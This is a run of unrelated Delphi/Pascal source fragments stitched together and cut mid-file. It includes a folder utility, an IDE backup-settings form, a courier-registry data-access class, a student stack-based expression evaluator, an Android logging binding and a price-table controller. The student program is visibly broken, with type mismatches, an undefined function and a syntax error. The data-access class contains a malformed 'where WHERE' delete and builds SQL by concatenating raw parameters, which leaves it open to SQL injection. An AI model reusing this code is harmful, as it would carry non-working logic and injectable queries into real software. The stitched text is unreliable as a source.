List<Folder>; begin result := new List<Folder>(); var Items := NSFileManager.defaultManager.contentsOfDirectoryAtPath(mapped) error(nil); if Items = nil then exit; for i: Integer := 0 to Items.count - 1 do begin var item := Combine(mapped, Items.objectAtIndex(i)); if FolderHelper.IsDirectory(item) then result.Add(Folder(item)); end; end; method Folder.Rename(NewName: String): Folder; begin var RootFolder := mapped.stringByDeletingLastPathComponent; var NewFolderName := Combine(RootFolder, NewName); var Manager := NSFileManager.defaultManager; if Manager.fileExistsAtPath(NewFolderName) then raise new SugarIOException(ErrorMessage.FOLDER_EXISTS, NewName); var lError: NSError := nil; if not Manager.moveItemAtPath(mapped) toPath(NewFolderName) error(var lError) then raise new SugarNSErrorException(lError); result := NewFolderName; end; method Folder.Combine(BasePath: String; SubPath: String): String; begin result := NSString(BasePath):stringByAppendingPathComponent(SubPath); end; {$ENDIF} end.
unit GX_BackupConfig; {$I GX_CondDefine.inc} interface uses SysUtils, Classes, Controls, Forms, StdCtrls, ExtCtrls, GX_BaseForm, Menus; type TfmBackupConfig = class(TfmBaseForm) gbxOptions: TGroupBox; cbBackupInc: TCheckBox; cbIncludeDir: TCheckBox; btnOK: TButton; btnCancel: TButton; lblDirectives: TLabel; rgDefaultScope: TRadioGroup; gbBackupTarget: TGroupBox; rbBackupAskForFile: TRadioButton; rbBackupToDirectory: TRadioButton; lblBackupDir: TLabel; edBackupDir: TEdit; btnBackupDir: TButton; cbSearchOnLibraryPath: TCheckBox; btHelp: TButton; gbDropDirs: TGroupBox; cbAddRecursively: TCheckBox; cbIgnoreHistoryDir: TCheckBox; cbIgnoreScmDirs: TCheckBox; cbIgnoreBackupFiles: TCheckBox; btnDefault: TButton; btnVariables: TButton; pmuVariables: TPopupMenu; procedure btnBackupDirClick(Sender: TObject); procedure FormShow(Sender: TObject); procedure rbGenericBackupTargetClick(Sender: TObject); procedure cbBackupIncClick(Sender: TObject); procedure btHelpClick(Sender: TObject); procedure cbAddRecursivelyClick(Sender: TObject); procedure btnDefaultClick(Sender: TObject); private procedure edBackupDirOnDropFiles(_Sender: TObject; _Files: TStrings); procedure InsertPlaceholderClick(Sender: TObject); public constructor Create(_Owner: TComponent); override; procedure SetBackupTargetDirectoryEnabled(const Enable: Boolean); end; implementation {$R *.dfm} uses GX_GenericUtils, GX_GxUtils, GX_dzVclUtils, GX_MacroParser; constructor TfmBackupConfig.Create(_Owner: TComponent); var Variables: TStringList; i: Integer; begin inherited; TWinControl_ActivateDropFiles(edBackupDir, edBackupDirOnDropFiles); TEdit_ActivateAutoComplete(edBackupDir, [acsFileSystem], [actSuggest]); Variables := TStringList.Create; try Variables.Add('PROJECTDIR'); Variables.Add('PROJECTNAME'); Variables.Add('PROJECTGROUPNAME'); Variables.Add('PROJECTGROUPDIR'); Variables.Add('DATETIME'); Variables.Add('HOUR'); Variables.Add('MINUTE'); Variables.Add('SECOND'); Variables.Add('DATE'); Variables.Add('YEAR'); Variables.Add('MONTH'); Variables.Add('MONTHSHORTNAME'); Variables.Add('MONTHLONGNAME'); Variables.Add('DAY'); Variables.Add('DAYSHORTNAME'); Variables.Add('DAYLONGNAME'); Variables.Add('USER'); Variables.Add('VERPRODUCTVERSION'); Variables.Add('VERFILEVERSION'); Variables.Add('VERMAJOR'); Variables.Add('VERMINOR'); Variables.Add('VERRELEASE'); Variables.Add('VERBUILD'); Variables.Add('VERPRODUCTNAME'); Variables.Add('VERINTERNALNAME'); Variables.Add('VERFILEDESCRIPTION'); for i := 0 to Variables.Count - 1 do TPopupMenu_AppendMenuItem(pmuVariables, Variables[i], InsertPlaceholderClick); finally FreeAndNil(Variables); end; TButton_AddDropdownMenu(btnVariables, pmuVariables); end; procedure TfmBackupConfig.InsertPlaceholderClick(Sender: TObject); var MenuItem: TMenuItem; Str: string; begin MenuItem := Sender as TMenuItem; Str := StripHotKey(MenuItem.Caption); edBackupDir.SelText := '%' + Str + '%'; end; procedure TfmBackupConfig.edBackupDirOnDropFiles(_Sender: TObject; _Files: TStrings); begin edBackupDir.Text := _Files[0]; end; procedure TfmBackupConfig.btnBackupDirClick(Sender: TObject); resourcestring SSaveDialogCaption = 'File to save to'; var Temp: string; begin Temp := edBackupDir.Text; Temp := ReplaceStrings(Temp, True); if ShowSaveDialog(SSaveDialogCaption, 'zip', Temp) then edBackupDir.Text := Temp; end; procedure TfmBackupConfig.btnDefaultClick(Sender: TObject); begin edBackupDir.Text := AddSlash('%PROJECTDIR%') + '%PROJECTNAME%'; end; procedure TfmBackupConfig.FormShow(Sender: TObject); begin cbBackupIncClick(nil); end; procedure TfmBackupConfig.SetBackupTargetDirectoryEnabled(const Enable: Boolean); begin lblBackupDir.Enabled := Enable; edBackupDir.Enabled := Enable; btnBackupDir.Enabled := Enable; end; procedure TfmBackupConfig.rbGenericBackupTargetClick(Sender: TObject); begin SetBackupTargetDirectoryEnabled(rbBackupToDirectory.Checked); end; procedure TfmBackupConfig.cbAddRecursivelyClick(Sender: TObject); var b: Boolean; begin b := cbAddRecursively.Checked; cbIgnoreHistoryDir.Enabled := b; cbIgnoreScmDirs.Enabled := b; end; procedure TfmBackupConfig.cbBackupIncClick(Sender: TObject); begin cbSearchOnLibraryPath.Enabled := cbBackupInc.Checked; end; procedure TfmBackupConfig.btHelpClick(Sender: TObject); begin GxContextHelp(Self, 10); end; end.
unit DAO.Cadastro; interface uses FireDAC.Comp.Client, System.SysUtils, DAO.Conexao, Model.Cadastro; type TCadastroDAO = class private FConexao : TConexao; public constructor Create; function GetID(): Integer; function Inserir(ACadastro: TCadastro): Boolean; function Alterar(ACadastro: TCadastro): Boolean; function Excluir(ACadastro: TCadastro): Boolean; function Pesquisar(aParam: array of variant): TFDQuery; function GetField(sField: String; sKey: String; sKeyValue: String): String; end; const TABLENAME = 'tbentregadores'; implementation { TCadastroDAO } uses Control.Sistema; function TCadastroDAO.Alterar(ACadastro: TCadastro): Boolean; var FDQuery: TFDQuery; begin try Result := False; FDQuery := FConexao.ReturnQuery(); FDQuery.ExecSQL('UPDATE ' + TABLENAME + ' SET DOM_FUNCIONARIO = :DOM_FUNCIONARIO, COD_ENTREGADOR = :COD_ENTREGADOR, ' + 'DES_TIPO_DOC = :DES_TIPO_DOC, DES_RAZAO_SOCIAL = :DES_RAZAO_SOCIAL, NOM_FANTASIA = :NOM_FANTASIA, ' + 'NUM_CNPJ = :NUM_CNPJ, NUM_IE = :NUM_IE, DAT_NASCIMENTO = :DAT_NASCIMENTO, UF_RG = :UF_RG, ' + 'DAT_EMISSAO_RG = :DAT_EMISSAO_RG, UF_NASCIMENTO = :UF_NASCIMENTO, ' + 'NOM_CIDADE_NASCIMENTO = :NOM_CIDADE_NASCIMENTO, NOM_PAI = :NOM_PAI, NOM_MAE = :NOM_MAE, ' + 'NUM_IEST = :NUM_IEST, NUM_IM = :NUM_IM, COD_CNAE = :COD_CNAE, COD_CRT = :COD_CRT, ' + 'NUM_CNH = :NUM_CNH, NUM_REGISTRO_CNH = :NUM_REGISTRO_CNH, DES_CATEGORIA_CNH = :DES_CATEGORIA_CNH, ' + 'DAT_VALIDADE_CNH = :DAT_VALIDADE_CNH, UF_CNH = :UF_CNH, DAT_1_HABILITACAO = :DAT_1_HABILITACAO, ' + 'DES_PAGINA = :DES_PAGINA, COD_AGENTE = :COD_AGENTE, COD_STATUS = :COD_STATUS, ' + 'DES_OBSERVACAO = :DES_OBSERVACAO, DAT_CADASTRO = :DAT_CADASTRO, COD_USUARIO = :COD_USUARIO, ' + 'VAL_VERBA = :VAL_VERBA, VAL_VERBA_COMBUSTIVEL = :VAL_VERBA_COMBUSTIVEL, DES_TIPO_CONTA = :DES_TIPO_CONTA, ' + 'COD_BANCO = :COD_BANCO, COD_AGENCIA = :COD_AGENCIA, NUM_CONTA = :NUM_CONTA, ' + 'NOM_FAVORECIDO = :NOM_FAVORECIDO, NUM_CPF_CNPJ_FAVORECIDO = :NUM_CPF_CNPJ_FAVORECIDO, ' + 'DES_FORMA_PAGAMENTO = :DES_FORMA_PAGAMENTO, COD_CENTRO_CUSTO = :COD_CENTRO_CUSTO, ' + 'DOM_VITIMA_ROUBO = :DOM_VITIMA_ROUBO, QTD_VITIMA_ROUBO = :QTD_VITIMA_ROUBO, DOM_ACIDENTES = :DOM_ACIDENTES, ' + 'QTD_ACIDENTES = :QTD_ACIDENTES, DOM_TRANSPORTE_EMPRESA = :DOM_TRANSPORTE_EMPRESA, ' + 'QTD_TRANSPORTE = :QTD_TRANSPORTE, DOM_GV = :DOM_GV, DAT_GV = :DAT_GV, NOM_EXECUTANTE = :NOM_EXECUTANTE, ' + 'DAT_ALTERACAO = :DAT_ALTERACAO, DES_CHAVE = :DES_CHAVE, COD_GRUPO = :COD_GRUPO, COD_ROTEIRO = :COD_ROTEIRO, ' + 'COD_MEI = :COD_MEI, NOM_RAZAO_MEI = :NOM_RAZAO_MEI, NOM_FANTASIA_MEI = :NOM_FANTASIA_MEI, ' + 'NUM_CNPJ_MEI = :NUM_CNPJ_MEI ' + 'WHERE COD_CADASTRO = :COD_CADASTRO;', [aCadastro.Funcionario, aCadastro.Entregador, aCadastro.Doc, aCadastro.Nome, aCadastro.Fantasia, aCadastro.CPFCNPJ, aCadastro.IERG, aCadastro.Nascimento, aCadastro.UFRG, aCadastro.EMissaoRG, aCadastro.UFNascimento, aCadastro.CidadeNascimento, aCadastro.Pai, aCadastro.Mae, aCadastro.IEST, aCadastro.IM, aCadastro.CNAE, aCadastro.CRT, aCadastro.NumeroCNH, aCadastro.RegistroCNH, aCadastro.CategoriaCNH, aCadastro.ValidadeCNH, aCadastro.UFCNH, aCadastro.DataPrimeiraCNH, aCadastro.URL, aCadastro.Agente, aCadastro.Status, aCadastro.Obs, aCadastro.DataCadastro, aCadastro.Usuario, aCadastro.Verba, aCadastro.Combustivel, aCadastro.TipoConta, aCadastro.Banco, aCadastro.AgenciaConta, aCadastro.NumeroConta, aCadastro.NomeFavorecido, aCadastro.CPFCNPJFavorecido, aCadastro.FormaPagamento, aCadastro.CentroCusto, aCadastro.Roubo, aCadastro.QuantosRoubos, aCadastro.Acidentes, aCadastro.QuantosAcidentes, aCadastro.TransporteEmpresa, aCadastro.QuantosTransporteEmptresa, aCadastro.GV, aCadastro.DataGV, aCadastro.Executante, aCadastro.DataAlteracao, aCadastro.Chave, aCadastro.Grupo, aCadastro.Roteiro, aCadastro.MEI, aCadastro.RazaoMEI, aCadastro.FantasiaMEI, aCadastro.CNPJMEI, aCadastro.Cadastro]); Result := True; finally FDQuery.Connection.Close; FDQuery.Free; end; end; constructor TCadastroDAO.Create; begin FConexao := TSistemaControl.GetInstance().Conexao; end; function TCadastroDAO.Excluir(ACadastro: TCadastro): Boolean; var FDQuery: TFDQuery; begin try Result := False; FDQuery := FConexao.ReturnQuery(); FDQuery.ExecSQL('delete from ' + TABLENAME + ' where WHERE COD_CADASTRO = :COD_CADASTRO', [ACadastro.Cadastro]); Result := True; finally FDQuery.Connection.Close; FDquery.Free; end; end; function TCadastroDAO.GetField(sField, sKey, sKeyValue: String): String; var FDQuery: TFDQuery; begin try FDQuery := FConexao.ReturnQuery(); FDQuery.SQL.Text := 'select ' + sField + ' from ' + TABLENAME + ' where ' + sKey + ' = ' + sKeyValue; FDQuery.Open(); if not FDQuery.IsEmpty then Result := FDQuery.FieldByName(sField).AsString; finally FDQuery.Free; end; end; function TCadastroDAO.GetID: Integer; var FDQuery: TFDQuery; begin try FDQuery := FConexao.ReturnQuery(); FDQuery.Open('select coalesce(max(COD_CADASTRO),0) + 1 from ' + TABLENAME); try Result := FDQuery.Fields[0].AsInteger; finally FDQuery.Close; end; finally FDQuery.Connection.Close; FDQuery.Free; end; end; function TCadastroDAO.Inserir(ACadastro: TCadastro): Boolean; var FDQuery : TFDQuery; begin try Result := False; FDQuery := FConexao.ReturnQuery(); FDQuery.ExecSQL('INSERT INTO ' + TABLENAME + '(COD_CADASTRO, DOM_FUNCIONARIO, COD_ENTREGADOR, DES_TIPO_DOC, ' + 'DES_RAZAO_SOCIAL, NOM_FANTASIA, NUM_CNPJ, NUM_IE, DAT_NASCIMENTO, UF_RG, DAT_EMISSAO_RG, ' + 'UF_NASCIMENTO, NOM_CIDADE_NASCIMENTO, NOM_PAI, NOM_MAE, NUM_IEST, NUM_IM, COD_CNAE, COD_CRT, NUM_CNH, ' + 'NUM_REGISTRO_CNH, DES_CATEGORIA_CNH, DAT_VALIDADE_CNH, UF_CNH, DAT_1_HABILITACAO, DES_PAGINA, COD_AGENTE, ' + 'COD_STATUS, DES_OBSERVACAO, DAT_CADASTRO, COD_USUARIO, VAL_VERBA, VAL_VERBA_COMBUSTIVEL, DES_TIPO_CONTA, ' + 'COD_BANCO, COD_AGENCIA, NUM_CONTA, NOM_FAVORECIDO, NUM_CPF_CNPJ_FAVORECIDO, DES_FORMA_PAGAMENTO, ' + 'COD_CENTRO_CUSTO, DOM_VITIMA_ROUBO, QTD_VITIMA_ROUBO, DOM_ACIDENTES, QTD_ACIDENTES, ' + 'DOM_TRANSPORTE_EMPRESA, QTD_TRANSPORTE, DOM_GV, DAT_GV, NOM_EXECUTANTE, DAT_ALTERACAO, DES_CHAVE, ' + 'COD_GRUPO, COD_ROTEIRO, COD_MEI, NOM_RAZAO_MEI, NOM_FANTASIA_MEI, NUM_CNPJ_MEI) ' + 'VALUES ' + '(:COD_CADASTRO, :DOM_FUNCIONARIO, :COD_ENTREGADOR, :DES_TIPO_DOC, :DES_RAZAO_SOCIAL, :NOM_FANTASIA, ' + ':NUM_CNPJ, :NUM_IE, :DAT_NASCIMENTO, :UF_RG, :DAT_EMISSAO_RG, :UF_NASCIMENTO, :NOM_CIDADE_NASCIMENTO, ' + ':NOM_PAI, :NOM_MAE, :NUM_IEST, :NUM_IM, :COD_CNAE, :COD_CRT, :NUM_CNH, :NUM_REGISTRO_CNH, ' + ':DES_CATEGORIA_CNH, :DAT_VALIDADE_CNH, :UF_CNH, :DAT_1_HABILITACAO, :DES_PAGINA, :COD_AGENTE, :COD_STATUS, ' + ':DES_OBSERVACAO, :DAT_CADASTRO, :COD_USUARIO, :VAL_VERBA, :VAL_VERBA_COMBUSTIVEL, :DES_TIPO_CONTA, ' + ':COD_BANCO, :COD_AGENCIA, :NUM_CONTA, :NOM_FAVORECIDO, :NUM_CPF_CNPJ_FAVORECIDO, :DES_FORMA_PAGAMENTO, ' + ':COD_CENTRO_CUSTO, :DOM_VITIMA_ROUBO, :QTD_VITIMA_ROUBO, :DOM_ACIDENTES, :QTD_ACIDENTES, ' + ':DOM_TRANSPORTE_EMPRESA, :QTD_TRANSPORTE, :DOM_GV, :DAT_GV, :NOM_EXECUTANTE, :DAT_ALTERACAO, :DES_CHAVE, ' + ':COD_GRUPO, :COD_ROTEIRO, :COD_MEI, :NOM_RAZAO_MEI, :NOM_FANTASIA_MEI, :NUM_CNPJ_MEI);', [aCadastro.Cadastro, aCadastro.Funcionario, aCadastro.Entregador, aCadastro.Doc, aCadastro.Nome, aCadastro.Fantasia, aCadastro.CPFCNPJ, aCadastro.IERG, aCadastro.Nascimento, aCadastro.UFRG, aCadastro.EMissaoRG, aCadastro.UFNascimento, aCadastro.CidadeNascimento, aCadastro.Pai, aCadastro.Mae, aCadastro.IEST, aCadastro.IM, aCadastro.CNAE, aCadastro.CRT, aCadastro.NumeroCNH, aCadastro.RegistroCNH, aCadastro.CategoriaCNH, aCadastro.ValidadeCNH, aCadastro.UFCNH, aCadastro.DataPrimeiraCNH, aCadastro.URL, aCadastro.Agente, aCadastro.Status, aCadastro.Obs, aCadastro.DataCadastro, aCadastro.Usuario, aCadastro.Verba, aCadastro.Combustivel, aCadastro.TipoConta, aCadastro.Banco, aCadastro.AgenciaConta, aCadastro.NumeroConta, aCadastro.NomeFavorecido, aCadastro.CPFCNPJFavorecido, aCadastro.FormaPagamento, aCadastro.CentroCusto, aCadastro.Roubo, aCadastro.QuantosRoubos, aCadastro.Acidentes, aCadastro.QuantosAcidentes, aCadastro.TransporteEmpresa, aCadastro.QuantosTransporteEmptresa, aCadastro.GV, aCadastro.DataGV, aCadastro.Executante, aCadastro.DataAlteracao, aCadastro.Chave, aCadastro.Grupo, aCadastro.Roteiro, aCadastro.MEI, aCadastro.RazaoMEI, aCadastro.FantasiaMEI, aCadastro.CNPJMEI]); Result := True; finally FDQuery.Connection.Close; FDQuery.Free; end; end; function TCadastroDAO.Pesquisar(aParam: array of variant): TFDQuery; var FDQuery: TFDQuery; begin FDQuery := FConexao.ReturnQuery(); if Length(aParam) < 2 then Exit; FDQuery.SQL.Clear; FDQuery.SQL.Add('select * from ' + TABLENAME); if aParam[0] = 'CADASTRO' then begin FDQuery.SQL.Add('WHERE COD_CADASTRO = :COD_CADASTRO'); FDQuery.ParamByName('COD_CADASTRO').AsInteger := aParam[1]; end; if aParam[0] = 'CPF' then begin FDQuery.SQL.Add('WHERE NUM_CNPJ = :NUM_CNPJ'); FDQuery.ParamByName('NUM_CNPJ').AsString := aParam[1]; end; if aParam[0] = 'RG' then begin FDQuery.SQL.Add('WHERE NUM_IE = :NUM_IE'); FDQuery.ParamByName('NUM_IE').AsString := aParam[1]; end; if aParam[0] = 'CNPJIMEI' then begin FDQuery.SQL.Add('WHERE NUM_CNPJ_MEI = :NUM_CNPJ_MEI'); FDQuery.ParamByName('NUM_CNPJ_MEI').AsString := aParam[1]; end; if aParam[0] = 'IMEI' then begin FDQuery.SQL.Add('WHERE COD_MEI = :COD_MEI'); FDQuery.ParamByName('COD_MEI').AsString := aParam[1]; end; if aParam[0] = 'NOME' then begin FDQuery.SQL.Add('WHERE DES_RAZAO_SOCIAL = :DES_RAZAO_SOCIAL'); FDQuery.ParamByName('DES_RAZAO_SOCIAL').AsString := aParam[1]; end; if aParam[0] = 'FANTASIA' then begin FDQuery.SQL.Add('WHERE NOM_FANTASIA = :NOM_FANTASIA'); FDQuery.ParamByName('NOM_FANTASIA').AsString := aParam[1]; end; if aParam[0] = 'FILTRO' then begin FDQuery.SQL.Add('WHERE ' + aParam[1]); end; if aParam[0] = 'APOIO' then begin FDQuery.SQL.Clear; FDQuery.SQL.Add('SELECT ' + aParam[1] + ' FROM ' + TABLENAME + ' ' + aParam[2]); end; FDQuery.Open; Result := FDQuery; end; end.
{ CSI 1101-X, Winter, 1999 } { Identification: Mark Sattolo, student# 428500 } { tutorial group DGD-4, t.a. = Jensen Boire } program ExpressionEvaluate ; const Opers = ['+', '-', '^', '*', '/'] ; type element = string ; pointer = ^node ; node = record value: element ; next: pointer end ; stack = record top: pointer ; size: integer ; end ; { variable for the main program - NOT to be referenced anywhere else } var YESorNO: char ; { The following global variable is used for memory management. You might find it useful while debugging your code, but the solutions you hand in must not refer to this variable in any way.} memory_count: integer ; {****** MEMORY MANAGEMENT PROCEDURES *********} { get_node - Returns a pointer to a new node. } procedure get_node( var P: pointer ); begin memory_count := memory_count + 1 ; new( P ) end ; {return_node - Make the node pointed at by P "free" (available to get_node).} procedure return_node(var P: pointer) ; begin memory_count := memory_count - 1 ; P^.value := '-7777.77' ; { "scrub" memory to aid debugging } P^.next := P ; { "scrub" memory to aid debugging } dispose( P ) end ; {*********************************************} { create_empty - sets stack S to be empty. } procedure create_empty ( var S: stack ) ; begin S.top := nil ; S.size := 0 ; end; { proc create_empty } procedure write_stack ( var S: stack ); var p: pointer ; begin if S.size = 0 then writeln('empty list') else begin p := S.top ; while p <> nil do begin write( ' ', p^.value:7 ); p := p^.next end; { while } writeln end; { else } end; { proc write_stack } procedure destroy( var S: stack) ; var temp : stack ; begin if S.top <> nil then begin temp := S ; temp.top := temp.top^.next ; destroy(temp) ; return_node(S.top) ; end; { if } end; { proc destroy} procedure push(val: string; var S: stack) ; var p: pointer ; begin get_node(p) ; p^.value := val ; p^.next := S.top ; S.top := p ; S.size := S.size + 1 ; end; { proc push } procedure pop(var S: stack) ; var p: pointer ; begin if S.size <> 0 then begin p := S.top ; S.top := S.top^.next ; return_node(p) ; end { if } else begin writeln('Error: stack is already empty.') ; halt ; end; { else } end; { proc pop } function top(S:stack):string ; begin if S.size <= 0 then begin writeln('Error: Stack is already empty.'); halt ; end { if } else top := S.top^.value ; end; { fxn top } procedure pull(var V: string; var S: stack) ; var p: pointer ; begin if S.size <> 0 then begin V := S.top^.value ; p := S.top ; S.top := S.top^.next ; return_node(p) ; end { if } else begin writeln('Error: stack is already empty.') ; halt ; end; { else } end; { proc pull } function Eval(L, R: string; OP: char): string ; begin case OP of '+' : Eval := val(L) + val(R) ; '-' : Eval := val(L) - val(R) ; '^' : Eval := power(val(L), val(R)) ; '*' : Eval := val(L) * val(R) ; '/' : Eval := val(L) / val(R) else writeln('Error: improper operator') ; halt ; end; { case } end; { fxn Eval } procedure Read(source: string; var X: string) ; begin X := copy(source, 1, 1) ; delete(source, 1,1) ; end; { proc read } procedure Precedence(Subeq: string; var Answer: string) ; var Nums, Ops : stack ; L, R, OP, X : element ; begin while length(Subeq) > 0 do begin Read(Subeq, X) ; if X in [0..9] then push (X, nums) ; if X in Opers then begin while (Ops.size > 0) and (Prec(Top(ops)) >= Prec(X)) do begin Pull(R, nums); Pull(L, nums); Pull(OP, nums); Push(Eval(L, OP, R), nums) ; end; { while } Push (X, ops) ; end; { if } while Ops.size > 0 do begin Pull(R, nums); Pull(L, nums); Pull(OP, nums); Push(Eval(L, OP, R), nums) ; end; { while } end; { while } Answer := top(nums) ; end; { proc Precedence } procedure Brackets(Eq: string; var Answer: element) ; var S, T: stack ; X, Mid1, Mid2 : string ; begin while length(Eq) > 0 do begin Read (Eq, X) ; if X <> ')' then push (X, S) ; if X = ')' then begin while top(S) <> '(' do begin push (Top(S), T) ; Pop (S) ; end; { while } Pop (S) ; Precedence (T, Mid1) ; Push (Mid1, S) ; end; { if } end; { while } while Top(S) <> nil do begin Precedence(S, Mid2) ; push(Mid2, S) ; end; { while } Answer := Top(S) ; end; { proc Brackets } procedure Equation; var eqn: string begin writeln('Enter an equation to be evaluated: '); readln(eqn) ; brackets(eqn) ; end; { proc Equation } procedure identify_myself ; { Writes who you are to the screen } begin writeln ; writeln('CSI 1101-X (Winter,1999).') ; writeln('Mark Sattolo, student# 428500') ; writeln('tutorial DGD-4, t.a. = Jensen Boire'); writeln end ; begin { main program } memory_count := 0 ; identify_myself ; repeat Equation ; writeln('Amount of dynamic memory allocated but not returned (should be 0) ', memory_count:0) ; writeln('Do you wish to continue (y or n) ?') ; readln(YESorNO); until (YESorNO in ['y', 'Y']) end.
unit DW.Androidapi.JNI.Log; {*******************************************************} { } { Kastri Free } { } { DelphiWorlds Cross-Platform Library } { } {*******************************************************} {$I DW.GlobalDefines.inc} interface uses Androidapi.JNIBridge, Androidapi.JNI.JavaTypes; type Jutil_Log = interface;//android.util.Log Jutil_LogClass = interface(JObjectClass) ['{62108FE8-1DBB-4C4F-A0C7-35D12BD116DC}'] {class} function _GetASSERT: Integer; cdecl; {class} function _GetDEBUG: Integer; cdecl; {class} function _GetERROR: Integer; cdecl; {class} function _GetINFO: Integer; cdecl; {class} function _GetVERBOSE: Integer; cdecl; {class} function _GetWARN: Integer; cdecl; {class} function d(tag: JString; msg: JString): Integer; cdecl; overload; {class} function d(tag: JString; msg: JString; tr: JThrowable): Integer; cdecl; overload; {class} function e(tag: JString; msg: JString): Integer; cdecl; overload; {class} function e(tag: JString; msg: JString; tr: JThrowable): Integer; cdecl; overload; {class} function getStackTraceString(tr: JThrowable): JString; cdecl; {class} function i(tag: JString; msg: JString): Integer; cdecl; overload; {class} function i(tag: JString; msg: JString; tr: JThrowable): Integer; cdecl; overload; {class} function isLoggable(tag: JString; level: Integer): Boolean; cdecl; {class} function println(priority: Integer; tag: JString; msg: JString): Integer; cdecl; {class} function v(tag: JString; msg: JString): Integer; cdecl; overload; {class} function v(tag: JString; msg: JString; tr: JThrowable): Integer; cdecl; overload; {class} function w(tag: JString; msg: JString): Integer; cdecl; overload; {class} function w(tag: JString; msg: JString; tr: JThrowable): Integer; cdecl; overload; {class} function w(tag: JString; tr: JThrowable): Integer; cdecl; overload; {class} function wtf(tag: JString; msg: JString): Integer; cdecl; overload; {class} function wtf(tag: JString; tr: JThrowable): Integer; cdecl; overload; {class} function wtf(tag: JString; msg: JString; tr: JThrowable): Integer; cdecl; overload; {class} property ASSERT: Integer read _GetASSERT; {class} property DEBUG: Integer read _GetDEBUG; {class} property ERROR: Integer read _GetERROR; {class} property INFO: Integer read _GetINFO; {class} property VERBOSE: Integer read _GetVERBOSE; {class} property WARN: Integer read _GetWARN; end; [JavaSignature('android/util/Log')] Jutil_Log = interface(JObject) ['{6A5EC34E-CB76-4AB0-A11D-7CCB3B40C571}'] end; TJutil_Log = class(TJavaGenericImport<Jutil_LogClass, Jutil_Log>) end; implementation end.
unit uTabPrecoController; interface uses System.SysUtils, uTabelaPrecoVO, Data.DBXJSON, Data.DBXJSONReflect, uConverter, System.Generics.Collections, uRegras, uDM, uFuncoesSIDomper, uDMTabPreco, uEnumerador, Vcl.Dialogs, Vcl.Forms, Data.DB; type TTabPrecoController = class private FModel: TDMTabPreco; FOperacao: TOperacao; function FiltrarTemp(Campo, Texto, Ativo: string; Contem: Boolean; Id: Integer=0): TObjectList<TTabPrecoConsulta>; procedure Post(); public procedure ModoEdicaoInsercao; procedure Editar(AId: Integer; AFormulario: TForm); function Salvar(IdUsuario: Integer): Integer; procedure ObterPorId(Id: integer); procedure Cancelar(); procedure FiltrarDados(Campo, Texto, Ativo: string; Contem: Boolean; Id: Integer=0); procedure Excluir(IdUsuario, Id: Integer); procedure Novo(IdUsuario: Integer); procedure Relatorio(IdUsuario: Integer); property Model: TDMTabPreco read FModel write FModel; procedure Filtrar(ACampo, ATexto, AAtivo: string; AContem: Boolean = False); overload; procedure Filtrar(ACampo, ATexto, AAtivo: string; AFiltro: TTabPrecoFiltro; AContem: Boolean = False; AId: Integer = 0); overload; constructor Create(); destructor Destroy; override; end; implementation { TTabPrecoController } procedure TTabPrecoController.Cancelar; begin if FModel.CDSCadastro.State in [dsEdit, dsInsert] then FModel.CDSCadastro.Cancel; end; constructor TTabPrecoController.Create; begin inherited create; FModel := TDMTabPreco.Create(nil); end; destructor TTabPrecoController.Destroy; begin FreeAndNil(FModel); inherited; end; procedure TTabPrecoController.Editar(AId: Integer; AFormulario: TForm); var Negocio: TServerModule2Client; Resultado: Boolean; begin dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try try FModel.CDSCadastro.Close; Resultado := Negocio.Editar(cTabelaPreco, dm.IdUsuario, AId); FModel.CDSCadastro.Open; FModel.CDSItens.Close; FModel.CDSItens.Params[0].AsInteger := AId; FModel.CDSItens.Open; TFuncoes.HabilitarCampo(AFormulario, Resultado); FOperacao := opEditar; dm.Desconectar; except on E: Exception do begin dm.ErroConexao(E.Message); end; end; finally FreeAndNil(Negocio); end; end; procedure TTabPrecoController.Excluir(IdUsuario, Id: Integer); var Negocio: TServerModule2Client; begin dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try try Negocio.TabPrecoExcluir(cTabelaPreco, IdUsuario, Id); FModel.CDSConsulta.Delete; dm.Desconectar; except on E: Exception do begin dm.ErroConexao(E.Message); end; end; finally FreeAndNil(Negocio); end; end; function TTabPrecoController.FiltrarTemp(Campo, Texto, Ativo: string; Contem: Boolean; Id: Integer=0): TObjectList<TTabPrecoConsulta>; var // Item: TTabPrecoConsulta; Negocio: TServerModule2Client; // Lista: TObjectList<TTabPrecoConsulta>; begin // Lista := TObjectList<TTabPrecoConsulta>.Create(); dm.Conectar; Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try try //Result := TConverte.JSONToObject<TListaTabPrecoConsulta>(Negocio.TabPrecoFiltrar(Campo, Texto, Ativo, Contem, Id)); // Result := Lista; // result := TConverte.JSONToObject<TListaTabPrecoConsulta>(Negocio.TabPrecoFiltrar(Campo, Texto, Ativo, Contem, Id)); except on E: Exception do begin TFuncoes.Excessao(E, 'TTabPrecoController.Filtrar'); end; end; finally FreeAndNil(Negocio); // FreeAndNil(Lista); end; // try // try // for Item in Lista do // begin // FModel.CDSConsulta.Append; // FModel.CDSConsultaTab_Id.AsInteger := Item.Id; // FModel.CDSConsultaTab_Nome.AsString := Item.Nome; // FModel.CDSConsulta.Post; // end; // except // on E: Exception do // begin // TFuncoes.Excessao(E, 'TTabPrecoController.Filtrar'); // end; // end; // finally // FreeAndNil(Lista); // end; end; procedure TTabPrecoController.ModoEdicaoInsercao; begin if FModel.CDSCadastro.State = dsBrowse then FModel.CDSCadastro.Edit; end; procedure TTabPrecoController.Filtrar(ACampo, ATexto, AAtivo: string; AFiltro: TTabPrecoFiltro; AContem: Boolean = False; AId: Integer = 0); var Negocio: TServerModule2Client; oObjetoJSON : TJSONValue; begin dm.Conectar; oObjetoJSON := TConverte.ObjectToJSON<TTabPrecoFiltro>(AFiltro); Negocio := TServerModule2Client.Create(DM.Conexao.DBXConnection); try FModel.CDSConsulta.Close; Negocio.TabPrecoFiltrar(ACampo, ATexto, AAtivo, AContem, oObjetoJSON, AId); FModel.CDSConsulta.Open; dm.Desconectar; finally FreeAndNil(Negocio); end; end; procedure TTabPrecoController.Filtrar(ACampo, ATexto, AAtivo: string; AContem: Boolean); begin // nada end; procedure TTabPrecoController.FiltrarDados(Campo, Texto, Ativo: string; Contem: Boolean; Id: Integer); var Item: TTabPrecoConsulta; Lista: TObjectList<TTabPrecoConsulta>; begin Lista := FiltrarTemp(Campo, Texto, Ativo, Contem, Id); try try for Item in Lista do begin FModel.CDSConsulta.Append; FModel.CDSConsultaTab_Id.AsInteger := Item.Id; FModel.CDSConsultaTab_Nome.AsString := Item.Nome; FModel.CDSConsulta.Post; end; except on E: Exception do begin 